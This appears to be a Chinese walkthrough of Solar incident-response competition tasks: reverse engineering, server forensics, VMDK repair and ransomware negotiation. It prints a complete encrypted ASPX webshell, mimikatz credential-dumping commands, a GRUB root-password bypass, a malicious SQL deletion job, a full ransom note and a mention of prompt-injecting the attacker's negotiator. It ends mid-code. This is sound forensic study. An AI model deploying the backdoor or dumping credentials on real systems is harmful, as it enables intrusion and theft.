A.CVE-2021-1675(Windows Print Spooler权限提升) B.约束委派 C.无约束委派 D.MS14-025

24/12/18 10:31:49-24/12/18 10:31:50 上传黑客工具

img

24/12/18 10:48:39 执行命令SpoolSample.exe dc03 dc02

img

24/12/18 10:53:02.000 注入票据

img

24/12/18 16:35:22 攻击者使用333.exe工具使10.0.11.6与10.0.11.8进行tcp连接

img

24/12/18 16:37:14 攻击者使用333.exe工具使10.0.11.6与10.0.11.10进行tcp连接

img

2025年Solar应急响应2月月赛

参考文章:2月solar月赛wp - cyi - 博客园2025-2月Solar应急响应公益月赛排名及官方题解【Solar】2月应急响应月赛分享

【逆向】逆向-1

附件被加密,请逆向分析该可执行程序。

使用dnspy进行逆向,可以发现加密文件输出格式是:

  1. 64位密文
  2. 64位随机生成的密钥
  3. 32位随机生成的偏移iv
  4. 字符串12345678

image-20251029150514978

image-20251029150919626

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AesEncryptionApp
{
	// Token: 0x02000002 RID: 2
	internal class AesEncryption
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		public static void EncryptFile(string inputFilePath, string outputFilePath)
		{
			using (Aes aes = Aes.Create())
			{
				aes.GenerateKey();
				aes.GenerateIV();
				aes.Padding = PaddingMode.PKCS7;
				aes.Mode = CipherMode.CBC;
				byte[] key = aes.Key;
				byte[] iv = aes.IV;
				ICryptoTransform transform = aes.CreateEncryptor(key, iv);
				using (FileStream fileStream = new FileStream(inputFilePath, FileMode.Open, FileAccess.Read))
				{
					using (FileStream fileStream2 = new FileStream(outputFilePath, FileMode.Create, FileAccess.Write))
					{
						using (CryptoStream cryptoStream = new CryptoStream(fileStream2, transform, CryptoStreamMode.Write))
						{
							fileStream.CopyTo(cryptoStream);
						}
					}
				}
				using (FileStream fileStream3 = new FileStream(outputFilePath, FileMode.Append, FileAccess.Write))
				{
					fileStream3.Write(key, 0, key.Length);
					fileStream3.Write(iv, 0, iv.Length);
					byte[] bytes = Encoding.UTF8.GetBytes(AesEncryption.identifier);
					fileStream3.Write(bytes, 0, bytes.Length);
				}
				Console.WriteLine(string.Concat(new string[]
				{
					"File '",
					inputFilePath,
					"' has been encrypted to '",
					outputFilePath,
					"'."
				}));
			}
		}

		// Token: 0x06000002 RID: 2 RVA: 0x000021EC File Offset: 0x000003EC
		private static void Main(string[] args)
		{
			string inputFilePath = "flag.txt";
			string outputFilePath = "encrypted_file.txt";
			try
			{
				AesEncryption.EncryptFile(inputFilePath, outputFilePath);
			}
			catch (Exception ex)
			{
				Console.WriteLine("Error: " + ex.Message);
			}
		}

		// Token: 0x04000001 RID: 1
		private static string identifier = "12346578";
	}
}

使用cyberchef进行解密:

image-20251029151319732

【综合应急】暗链排查-1

网站被劫持,被跳转到外部网站,请分析外部原因。
本题提供两个端口:
第一个端口为ssh端口默认密码为solar@202502
第二个端口为被劫持的web服务,路径为 /projectA/index.jsp

网站题目环境有问题,点击挂载的恶意暗链无法跳转(响应504),因此按找wp来看

点击超链接就会跳转至其他网站,网站中有js代码

img

给出了密文,cyberchef可以解开:

img

【综合应急】暗链排查-2

ssh连上靶机进行分析nginx日志/var/log/nginx,发现仅有自己的IP有访问记录

查看nginx配置是否存在问题

nginx优先注意:

  1. 主配置文件/etc/nginx/ngin.conf
  2. 可用的站点配置文件/etc/nginx/sites-available
  3. 启用的站点配置文件/etc/nginx/sites-enable
  4. 可用的模块配置文件/etc/nginx/modules-available
  5. 代理相关参数文件/etc/nginx/proxy_params
nginx -T 命令用于测试并显示 Nginx 服务当前加载的完整配置内容

tomcat相关配置:

  1. /webapps/projectA/WEB-INF/web.xml
  2. /webapps/projectA/WEB-INF/jsp

没有特别的问题

动态检查

分析nginx正在加载的conf和进程

ps -aux | grep ng

image-20251029170059071

可以发现nginx配置文件的进程除了/etc/nginx/nginx.conf,还有一个/etc/nginx/nginx1.conf

/etc/nginx目录下没有发现nginx1.conf文件,为了进行还原进行内存调试(安装gdb)

apt update
apt install gdb

cat /proc/12/maps | grep heap	#获取PID12的内存映射布局

image-20251029170121785

gdb -p 12	#进入堆操作,读取其内存、寄存器、线程信息等
dump memory /tmp/nginx-memory 0x557848bf4000 0x557848c58000	#将线性地址空间的字节(原始二进制内存片段)写入文件

但我失败了,因此直接导出标准 ELF core 文件(包含:进程所有虚拟内存映像(映射段)、寄存器/线程信息、映射表等):

gcore -o /tmp/nginx-memory 12	

但是也失败了

flag藏在内存变量中

【磁盘修复】VMDK修复

请修复该VMDK文件,使虚拟机能够成功启动。
虚拟机版本:17.5
镜像版本:ubuntu-24.04.1-live-server-amd64
本题为附加题,不计分。

尝试直接运行其中vmx虚拟机配置文件报错:

image-20251029173643345

Ubuntusy.vmdk文件被加密,按照格式进行修复:

# Disk DescriptorFile
version=1
encoding="GBK"  //使用的字符串编码(用于描述文件)
CID=ee578b63 //随机32位值
parentCID=ffffffff //表示没有父内容
createType="twoGbMaxExtentSparse" //disk类型

# Extent description
RW 8323072 SPARSE "Ubuntusy-s001.vmdk"
RW 8323072 SPARSE "Ubuntusy-s002.vmdk"
RW 8323072 SPARSE "Ubuntusy-s003.vmdk"
RW 8323072 SPARSE "Ubuntusy-s004.vmdk"
RW 8323072 SPARSE "Ubuntusy-s005.vmdk"
RW 8323072 SPARSE "Ubuntusy-s006.vmdk"
RW 8323072 SPARSE "Ubuntusy-s007.vmdk"
RW 8323072 SPARSE "Ubuntusy-s008.vmdk"
RW 8323072 SPARSE "Ubuntusy-s009.vmdk"
RW 8323072 SPARSE "Ubuntusy-s010.vmdk"
RW 8323072 SPARSE "Ubuntusy-s011.vmdk"
RW 8323072 SPARSE "Ubuntusy-s012.vmdk"
RW 8323072 SPARSE "Ubuntusy-s013.vmdk"
RW 8323072 SPARSE "Ubuntusy-s014.vmdk"
RW 8323072 SPARSE "Ubuntusy-s015.vmdk"
RW 8323072 SPARSE "Ubuntusy-s016.vmdk"
RW 8323072 SPARSE "Ubuntusy-s017.vmdk"
RW 8323072 SPARSE "Ubuntusy-s018.vmdk"
RW 8323072 SPARSE "Ubuntusy-s019.vmdk"
RW 8323072 SPARSE "Ubuntusy-s020.vmdk"
RW 8323072 SPARSE "Ubuntusy-s021.vmdk"
RW 8323072 SPARSE "Ubuntusy-s022.vmdk"
RW 8323072 SPARSE "Ubuntusy-s023.vmdk"
RW 8323072 SPARSE "Ubuntusy-s024.vmdk"
RW 8323072 SPARSE "Ubuntusy-s025.vmdk"
RW 8323072 SPARSE "Ubuntusy-s026.vmdk"
RW 8323072 SPARSE "Ubuntusy-s027.vmdk"
RW 8323072 SPARSE "Ubuntusy-s028.vmdk"
RW 8323072 SPARSE "Ubuntusy-s029.vmdk"
RW 8323072 SPARSE "Ubuntusy-s030.vmdk"
RW 1966080 SPARSE "Ubuntusy-s031.vmdk"	//8323072扇区  *512字节/扇区 = 4GB 
//SPARSE稀疏型VMDK文件在创建时不会立即占用全部分配的空间

# The Disk Data Base 
#DDB

ddb.adapterType = "lsilogic" //lsilogic 表示使用LSI Logic SAS控制器。
ddb.geometry.cylinders = "15665" //磁道数
ddb.geometry.heads = "255" //磁头数
ddb.geometry.sectors = "63" //扇区数
ddb.longContentID = "661640663b4c2e2767ac5685ee578b63" //虚拟磁盘的内容标识符,用于唯一标识该磁盘的内容
ddb.toolsInstallType = "4" //4 表示 VMware Tools 已经安装并且版本与虚拟机硬件版本兼容
ddb.toolsVersion = "12389" //VMware Tools 的版本号
ddb.uuid = "60 00 C2 9c 6c 76 ee 9f-e6 0b dc ed 20 04 11 b6" //唯一标识符
ddb.virtualHWVersion = "21"

//DDB包含了关于虚拟磁盘的重要元数据和配置信息。

得到:

# Disk DescriptorFile
version=1
encoding="GBK"
CID=ee578b63
parentCID=ffffffff
createType="twoGbMaxExtentSparse"

# Extent description
RW 8323072 SPARSE "Ubuntusy-s001.vmdk"
RW 8323072 SPARSE "Ubuntusy-s002.vmdk"
RW 8323072 SPARSE "Ubuntusy-s003.vmdk"
RW 8323072 SPARSE "Ubuntusy-s004.vmdk"
RW 8323072 SPARSE "Ubuntusy-s005.vmdk"
RW 8323072 SPARSE "Ubuntusy-s006.vmdk"
RW 8323072 SPARSE "Ubuntusy-s007.vmdk"
RW 8323072 SPARSE "Ubuntusy-s008.vmdk"
RW 8323072 SPARSE "Ubuntusy-s009.vmdk"
RW 8323072 SPARSE "Ubuntusy-s010.vmdk"
RW 8323072 SPARSE "Ubuntusy-s011.vmdk"
RW 8323072 SPARSE "Ubuntusy-s012.vmdk"
RW 8323072 SPARSE "Ubuntusy-s013.vmdk"
RW 8323072 SPARSE "Ubuntusy-s014.vmdk"
RW 8323072 SPARSE "Ubuntusy-s015.vmdk"
RW 8323072 SPARSE "Ubuntusy-s016.vmdk"
RW 8323072 SPARSE "Ubuntusy-s017.vmdk"
RW 8323072 SPARSE "Ubuntusy-s018.vmdk"
RW 8323072 SPARSE "Ubuntusy-s019.vmdk"
RW 8323072 SPARSE "Ubuntusy-s020.vmdk"
RW 8323072 SPARSE "Ubuntusy-s021.vmdk"
RW 8323072 SPARSE "Ubuntusy-s022.vmdk"
RW 8323072 SPARSE "Ubuntusy-s023.vmdk"
RW 8323072 SPARSE "Ubuntusy-s024.vmdk"
RW 8323072 SPARSE "Ubuntusy-s025.vmdk"
RW 8323072 SPARSE "Ubuntusy-s026.vmdk"
RW 8323072 SPARSE "Ubuntusy-s027.vmdk"
RW 8323072 SPARSE "Ubuntusy-s028.vmdk"
RW 8323072 SPARSE "Ubuntusy-s029.vmdk"
RW 8323072 SPARSE "Ubuntusy-s030.vmdk"
RW 1966080 SPARSE "Ubuntusy-s031.vmdk"

# The Disk Data Base 
#DDB

ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "15665"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "661640663b4c2e2767ac5685ee578b63"
ddb.toolsInstallType = "4"
ddb.toolsVersion = "12389"
ddb.uuid = "60 00 C2 9c 6c 76 ee 9f-e6 0b dc ed 20 04 11 b6"
ddb.virtualHWVersion = "21"

成功打开,但是虚拟机要密码

linux虚拟机密码绕过

参考文章:vm虚拟机如何修改用户密码 | PingCode智库

  1. 重启时按下esc进入GRUB菜单(引导加载程序)

  2. 选择启动项(默认ubuntu)按e键进行编辑,找到以linux开头的行,添加init=/bin/bash

  3. Ctrl+X启动系统,系统会进入单用户模式

  4. 挂载文件系统,并重置密码

    mount -o remount,rw /
    passwd root
    

    image-20251030131740250

  5. 重新启动系统

    exec /sbin/init
    

/root/flag.txt中得到flag

image-20251030131935075

【综合应急】单机取证-1

起因:某某文化有限公司的服务器被攻击了,领导说找不出来原因就炒小王鱿鱼,请你拯救小王的运维生涯。
帮助小王找到是什么漏洞导致了小王的运维生涯受到了打击?(回答攻击者利用的漏洞编号)
服务器密码:Admin!@#45lko
flag格式为:flag{CNVD-20xx-12xxx}

使用FTK挂载和vm等仿真(失败,不知道何时填坑,还是仿真大师舒服)

镜像仿真注意事项:

1.ftk/vm都需要用管理员权限打开,要先在ftk挂载出现了盘符后,再打开vm

2.注意wdf的内核隔离、micorosoft易受攻击的驱动程序阻止列表有无关闭(一定概率)

3.Ftk里mount method有没有选择可写(Block Device/Writable)

4.Ftk的mapped和我的电脑里有没有出现挂载的盘符,并出现对应的后缀问adcf文件,有没有大小。

5.驱动引导,利用vol或者autospy看镜像或者检材的系统版本判断用bios还是uefi。

6.磁盘类型选择,较为新的vm会提示,有些系统不支持nvme,一般选sata

7.如果出现无法连接虚拟设备sata<编号>,选择“否”忽略。

使用FTK Imager进行磁盘挂载,并开启读写模式

image-20251104145723523

image-20251104150001578

使用vm创建新虚拟机,自定义一路默认,仅三处选择使用windows server系统、SATA(A)类型虚拟磁盘和物理磁盘:

image-20251104150623137

image-20251104151052492

image-20251104150230085

磁盘类型 全称 特点 适用场景 Windows Server 2008兼容性
IDE Integrated Drive Electronics • 传统接口,兼容性最好 • 性能较低 • 最大支持2TB磁盘 • 安装系统无需额外驱动 • 旧版本操作系统 • 需要最好兼容性的场景 • 系统引导盘 ✅ 完全支持
SCSI Small Computer System Interface • 企业级接口,性能较好 • 支持热插拔 • CPU占用率较低 • 可能需要安装驱动 • 服务器环境 • 需要高性能的数据磁盘 • 企业级应用 ✅ 支持(推荐)
SATA Serial ATA • 现代标准接口 • 性能平衡 • 广泛用于桌面系统 • 兼容性较好 • 通用用途 • 桌面虚拟化环境 • 成本效益较好的选择 ✅ 支持
NVMe Non-Volatile Memory Express • 超高性能 • 极低延迟 • 专为SSD设计 • 需要系统内核支持 • 高性能计算 • 需要极致I/O的场景 不支持

物理磁盘选择文件读取正常的磁盘:

image-20251104150358222

(最后是仿真失败了)

使用autopsy等取证工具进行分析

取证优先看用户桌面:C:\Users\Administrator\DesktopC:\Users\utrs$\Desktop\

image-20251104131628164

image-20251104134217099

搜索桌面上的文件是什么,得知公司服务器跑的是畅捷通产品

image-20251104131917272

image-20251104132107572

历史漏洞太多难以定位,因此需要查询其日志:C:\Program Files (x86)\Chanjet\TPlusPro\WebServer\server\logs\host.access.log

image-20251104132727714

发现了可疑路径的POST请求,搜索关键词shell

image-20251104133654003

发现shell.asp文件在/tplus/SM/SetupAccount/Upload.aspx被上传且利用,因此可以推测是文件上传漏洞

image-20251104133802281

可以得知漏洞编号

【综合应急】单机取证-2

请你帮助小王找到攻击者使用的信息收集工具。(回答工具名称)
flag格式为:flag{xxxx.exe}

由上题查看新建隐藏用户utsr$桌面可以发现信息收集工具mimikatz.exe

image-20251104134217099

【综合应急】单机取证-3

帮助小王找到攻击者创建的隐藏账户的密码。
flag格式为:flag{xxxxxxxxxx}

找到对应的SAM文件及SYSTEM文件后(Windows\System32\config\SAMWindows\System32\config\SYSTEM)复制到我们物理机桌面,之后使用mimikatz提取密码,如下所示

image-20251104134929712

privilege::debug
lsadump::sam /sam:SAM /system:SYSTEM

image-20251104140450464

进行解密:

image-20251104140951167

【综合应急】单机取证-4

小王发现系统中有什么文件一直被删除,你能找出来原因吗?(请回答包含的可疑域名)
flag格式为:flag{xxx.xxx.xxx}

除了定时任务,数据库作业服务也可以恶意循环执行命令

根据一开始给出的数据库密码信息,导出msdb数据库C:\Program Files\Microsoft SQL,并进行附加:

image-20251104155526837

使用D-Recovery SQL Server查看mdf文件内容:

image-20251104164210088

作业信息存储

数据库作业信息存储在msdb 数据库中

如:

  • msdb.dbo.sysjobs 存储所有作业的基本信息(如作业名称、所有者、启用状态等)。
  • msdb.dbo.sysjobsteps 存储作业的步骤(Step)信息(如执行的命令、类型、成功/失败后的操作)。
  • msdb.dbo.sysschedules 存储作业的计划(Schedule)信息(如执行频率、时间)。
  • msdb.dbo.sysjobschedules 关联作业与计划(Job 和 Schedule 的对应关系)。
  • msdb.dbo.sysjobhistory 存储作业的执行历史记录(如开始时间、结束时间、执行状态)。

查看msdb.dbo.sysjobsteps

image-20251104165839646

只可惜这里失败没有恢复出恶意作业内容,官方wp:

image-20251104165924396

命令中编码部分解码即可得到文件一直被删除的命令中包含的域名:

image-20251104170045053

DECLARE @Result int;
DECLARE @FSO_Token int;

EXEC @Result = sp_OACreate '{0wwww.cyg2016.xyy}', @FSO_Token OUTPUT;
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL,
  'c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*';
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL,
  'c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*';
  1. DECLARE @Result int;
    • 声明整型变量 @Result,用来接收 sp_OA 调用的返回码(HRESULT/状态码)。
  2. DECLARE @FSO_Token int;
    • 声明整型变量 @FSO_Token,用于保存由 sp_OACreate 返回的 COM 对象句柄/引用(token)。
  3. EXEC @Result = sp_OACreate '{0wwww.cyg2016.xyy}', @FSO_Token OUTPUT;
    • 调用 SQL Server 的 OLE Automation 存储过程 sp_OACreate 来创建一个 COM 对象,第一参数是 COM 对象的 ProgID(截图中被改写/混淆),第二个参数是输出的对象句柄存入 @FSO_Token
    • 典型合理值举例:sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT(创建文件系统对象)。
    • @Result 会返回调用是否成功(0 通常表示成功,非 0 表示错误码)。
  4. EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\...Content.IE5\*';
    • 使用 sp_OAMethod 在前面创建的 COM 对象上调用方法 'DeleteFolder',第三个参数 NULL 表示没有返回值变量(或用来接收返回值的位置),后面是传给方法的参数(要删除的目录路径,带通配符 *)。
    • 这句会删除目录 c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*(即 Default User 的临时 Internet 文件下的内容)。
  5. 第二次 sp_OAMethod 类似,上面删除 LocalService 帐户对应的 Temporary Internet Files\Content.IE5\* 目录内容。

【综合应急】单机取证-5

请你帮助小王找到攻击者隐藏的webshell后门,(请回答shell的md5值)
flag格式为:flag{xxxxxxxxx}

找后门都优先使用D盾扫描C:\Program Files (x86)\Chanjet\TPlusPro\WebSite

image-20251104170926498

但并不是这个,是/WorkFlow/config.aspx

<%@ Page Language="C#" %>
<script runat="server">
    public static byte[] unHex(byte[] hexString){byte[] b = new byte[hexString.Length / 2];byte c;for(int i = 0; i < hexString.Length / 2; i++){c = hexString[i * 2];b[i] =(byte)((c < 0x40 ? c - 0x30 :(c < 0x47 ? c - 0x37 : c - 0x57))<< 4);c = hexString[i * 2 + 1];b[i] +=(byte)(c < 0x40 ? c - 0x30 :(c < 0x47 ? c - 0x37 : c - 0x57));}return b;}public static byte[] aes128(byte[] bytes,int mode){System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;aes.Key = Convert.FromBase64String("0J5YM0fKgYVrmMkwTUIF+Q==");aes.Mode = System.Security.Cryptography.CipherMode.ECB;System.Security.Cryptography.ICryptoTransform transform = mode == 1 ? aes.CreateEncryptor(): aes.CreateDecryptor();return transform.TransformFinalBlock(bytes, 0, bytes.Length);}public static byte[] xor(byte[] data){byte[] key = Convert.FromBase64String("R84sh+6uJ9oXJpMfw2pc/Q==");int len = data.Length;int keyLen = key.Length;int index = 0;for(int i = 1; i <= len; i++){index = i - 1;data[index] =(byte)(data[index] ^ key[(i % keyLen)]);}return data;}
    protected void Page_Load(object sender, EventArgs e)
    {
        
        try {
            
            byte[] requestData = Request.BinaryRead(Request.ContentLength);byte[] _requestData = new byte[requestData.Length - 96];Array.Copy(requestData,94,_requestData,0,_requestData.Length);requestData = _requestData;
            requestData = unHex(requestData);requestData = Convert.FromBase64String(System.Text.Encoding.Default.GetString(requestData));requestData = aes128(requestData, 2);
            if (Application["ASJmYP"] == null) {
                Application["ASJmYP"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load",
                    new System.Type[] {
                        typeof (byte[])
                    }).Invoke(null, new object[] {
                    requestData
                });
            } else {
                System.IO.MemoryStream memoryStream = new System.IO.MemoryStream();
                System.IO.BinaryWriter arrOut = new System.IO.BinaryWriter(memoryStream);
                object o = ((System.Reflection.Assembly)  Application["ASJmYP"]).CreateInstance("LY");
                o.Equals(requestData);
                o.Equals(memoryStream);
                o.ToString();
                byte[] responseData = memoryStream.ToArray();
                memoryStream.SetLength(0);
                responseData = xor(responseData);responseData = System.Text.Encoding.Default.GetBytes(Convert.ToBase64String(responseData));
                arrOut.Write(Convert.FromBase64String("eyJjb2RlIjowLCJkYXRhIjp7IlNlc3Npb25EYXRhIjpbXSwiSnd0Z2xvYmFsIjoiZTFKVFFYMHBQ"));arrOut.Write(responseData);arrOut.Write(Convert.FromBase64String("IiwiZXhEYXRhIjp7ImVycm9yIjowLCJtc2ciOiJ0cnVlIn19fQ=="));responseData = memoryStream.ToArray();Response.StatusCode = 200;Response.AddHeader("Content-Type","application/json");Response.BinaryWrite(responseData);

            }
        } catch (System.Exception) {

        }
        
    }

</script>

官方:通过 Application 对象存储恶意程序集、使用 AES + XOR 多层加密、反射加载 .NET 程序集等可判断其为后门文件

计算其md5值即可

2025年Solar应急响应3月月赛

参考文章:2025年Solar应急响应公益月赛-3月 WP | Aura Blog2025-3月Solar应急响应公益月赛排名及官方题解Solar 应急响应赛 3 月 Writeup - CloneWith's Page2025年Solar应急响应公益月赛-3月-先知社区【Solar】3月应急响应月赛分享

【签到】和黑客去Battle把!

某某文化有限公司被加密啦!老板给了小王5000美元请你帮助小王和黑客谈判争取使用最低的价格买下密钥!

收到勒索信息:

~~~ You have been attacked by Phantom Hand - the fastest, most stable and immortal ransomware since 2010 ~~~~

>>>>> You must pay us.

>>>>> What is the guarantee that we won't scam you? 
We are the oldest extortion gang on the planet and nothing is more important to us than our reputation. We are not a politically motivated group and want nothing but financial rewards for our work. If we defraud even one client, other clients will not pay us. In 5 years, not a single client has been left dissatisfied after making a deal with us. If you pay the ransom, we will fulfill all the terms we agreed upon during the negotiation process. Treat this situation simply as a paid training session for your system administrators, because it was the misconfiguration of your corporate network that allowed us to attack you. Our pentesting services should be paid for the same way you pay your system administrators' salaries. You can get more information about us on Elon Musk's Twitter at https://twitter.com/hashtag/lockbit?f=live.

>>>>> Warning! Do not delete or modify encrypted files, it will lead to irreversible problems with decryption of files!

>>>>> Don't go to the police or the FBI for help and don't tell anyone that we attacked you. They will forbid you from paying the ransom and will not help you in any way, you will be left with encrypted files and your business will die.

>>>>> When buying bitcoin, do not tell anyone the true purpose of the purchase. Some brokers, especially in the US, do not allow you to buy bitcoin to pay ransom. Communicate any other reason for the purchase, such as: personal investment in cryptocurrency, bitcoin as a gift, paying to buy assets for your business using bitcoin, cryptocurrency payment for consulting services, cryptocurrency payment for any other services, cryptocurrency donations, cryptocurrency donations for Donald Trump to win the election, buying bitcoin to participate in ICO and buy other cryptocurrencies, buying cryptocurrencies to leave an inheritance for your children, or any other purpose for buying cryptocurrency. Also you can use adequate cryptocurrency brokers who do not ask questions for what you buy cryptocurrency.

>>>>> After buying cryptocurrency from a broker, store the cryptocurrency on a cold wallet, such as https://electrum.org/ or any other cold cryptocurrency wallet, more details on https://bitcoin.org By paying the ransom from your personal cold cryptocurrency wallet, you will avoid any problems from regulators, police and brokers.

>>>>> Don't be afraid of any legal consequences, you were very scared, that's why you followed all our instructions, it's not your fault if you are very scared. Not a single company that paid us has had issues. Any excuses are just for insurance company to not pay on their obligation.

>>>>> You need to contact us via  sites with your personal ID

>>>>> Our website:https://www.phantomhand.top/
>>>>> Our another website:https://io.phantomhand.top/

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>> Your personal identifier to communicate with us ID: A3WGRZK434CPYDT4CSQAMV7T >>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


Version: Phantom Hand

翻译:

~~~ 你已被 Phantom Hand 攻击 — 自 2010 年以来最快、最稳定且不朽的勒索软件 ~~~~ 

>>>>> 你必须向我们付款。

>>>>> 我们如何保证不会欺骗你? 
我们是地球上最古老的敲诈团伙,信誉对我们来说比什么都重要。我们不是政治动机的团体,只追求经济报酬。如果我们欺骗了哪怕一个客户,其他客户就不会再付款了。过去 5 年里,没有一个客户在与我们达成交易后感到不满意。如果你支付赎金,我们将在谈判过程中履行所有约定。把这次事件简单地看作是对你们系统管理员的有偿培训吧,因为是你们公司网络的错误配置允许我们发起了此次攻击。我们的渗透测试服务应当像你们支付系统管理员工资一样被支付。你可以在埃隆·马斯克的推特上获得更多关于我们的信息: https://twitter.com/hashtag/lockbit?f=live 。

>>>>> 警告!不要删除或修改被加密的文件,这会导致文件无法被解密且出现不可逆的问题!

>>>>> 不要去报警或找 FBI 求助,也不要告诉任何人我们攻击了你。他们会禁止你支付赎金并且不会帮助你,你将被留下加密的文件,你的业务会因此死亡。

>>>>> 在购买比特币时,不要告诉任何人真实的购买目的。一些经纪商,尤其是美国的,经常不允许你为了支付赎金而购买比特币。可以对购买目的说明为:个人加密货币投资、作为礼物购买比特币、用比特币为公司购买资产、为咨询服务支付加密货币、为任何其他服务支付加密货币、加密货币捐赠、为唐纳德·特朗普赢得选举而进行的捐赠,或参加 ICO 并购买其他加密货币,或其他任何购买加密货币的理由。你也可以使用那些不会问购买用途的合适加密货币经纪商。

>>>>> 从经纪商购买加密货币后,请将其存放在冷钱包中,比如 https://electrum.org/ 或任何其他冷钱包,更多细节见 https://bitcoin.org 。通过从你的个人冷钱包支付赎金,你将避免监管、警方和经纪商带来的一些问题。

>>>>> 不要担心任何法律后果,你会非常害怕,所以你按我们的指示做了,这不是你的错。没有一家公司在付过我们钱后遇到问题。任何借口都只是为了让保险公司不履行他们的义务。

>>>>> 你需要通过带有你的个人 ID 的网站与我们联系

>>>>> 我们的网站:https://www.phantomhand.top/
>>>>> 我们的另一个网站:https://io.phantomhand.top/

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>> 用于与你沟通的个人标识 ID: A3WGRZK434CPYDT4CSQAMV7T >>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


版本:Phantom Hand

比赛已经结束,环境无法重启,因此答案来源于其他人的WP

老实给钱式:

image-20251031093456928

提示词注入式:

img

image-20251031093613100

2503逆向

官方WP:

拖入ida

640

发现他对flag.txt进行了加密

其中使用srand生成了随机数,且使用了当前开机时间当作种子

生成随机数后对字符串qa0wserdf1tg9yuhjio2pklz8xbvcn4mPL7JKOIHUG3YTF6DSREAWQZX5MNCBV取16个字节,拼接为密钥

使用此密钥并通过rc4对文件进行加密

640

加密完输出到文件

640 (1)

由于代码中使用了 srand 生成随机数,并以 GetTickCount 的返回值作为种子,而 GetTickCount 返回的值最大为DWORD类型最大为2的15次方,同一时间段内生成的种子可能相同,进而产生相同的随机数序列。因此,可以通过种子爆破的方式,枚举可能的种子值,重现随机数序列。

代码如下

#include <iostream>
#include <cstdlib>
#include <ctime>
#include <cstring>
#include <Windows.h>
#include <fstream>
#include <vector>
#include <cstring>
#include <fstream>
#include <cstring>
usingnamespacestd;

// RC4初始化
void rc4_init(const unsigned char* key, size_t key_len, unsigned char S[256]) {
        for (int i = 0; i < 256; i++) S[i] = i;

        int j = 0;
        for (int i = 0; i < 256; i++) {
                j = ( j + S[i] + key[i % key_len] ) % 256;
                swap(S[i], S[j]);
        }
}

// RC4处理函数
void rc4_process(unsigned char S[256], const unsigned char* input, unsigned char* output, size_t data_len) {
        int i = 0, j = 0;
        for (size_t n = 0; n < data_len; n++) {
                i = ( i + 1 ) % 256;
                j = ( j + S[i] ) % 256;
                swap(S[i], S[j]);
                output[n] = input[n] ^ S[( S[i] + S[j] ) % 256];
        }
}

// 文件读取函数
unsigned char* read_file(const char* filename, size_t* file_size) {
        ifstream file(filename, ios::binary | ios::ate);
        if (!file) returnnullptr;

        *file_size = file.tellg();
        file.seekg(0, ios::beg);

        unsignedchar* buffer = newunsignedchar[*file_size];
        file.read(reinterpret_cast<char*>( buffer ), *file_size);
        return buffer;
}

// RC4解密函数
unsigned char* rc4_decrypt(const unsigned char* ciphertext, size_t data_len,
        const unsigned char* key, size_t key_len) {
        if (!key || key_len == 0) returnnullptr;

        unsignedchar S[256];
        unsignedchar* plaintext = newunsignedchar[data_len];

        rc4_init(key, key_len, S);
        rc4_process(S, ciphertext, plaintext, data_len);

        return plaintext;
}

// 原始字符集声明
constchar* charset = "qa0wserdf1tg9yuhjio2pklz8xbvcn4mPL7JKOIHUG3YTF6DSREAWQZX5MNCBV";

// 设置随机种子(对应sub_10020D30)
void set_rng_seed(unsigned int seed, bool use_custom_seed) {

        if (use_custom_seed) {
                std::srand(seed);
        }
        else {
                DWORD tick = GetTickCount();
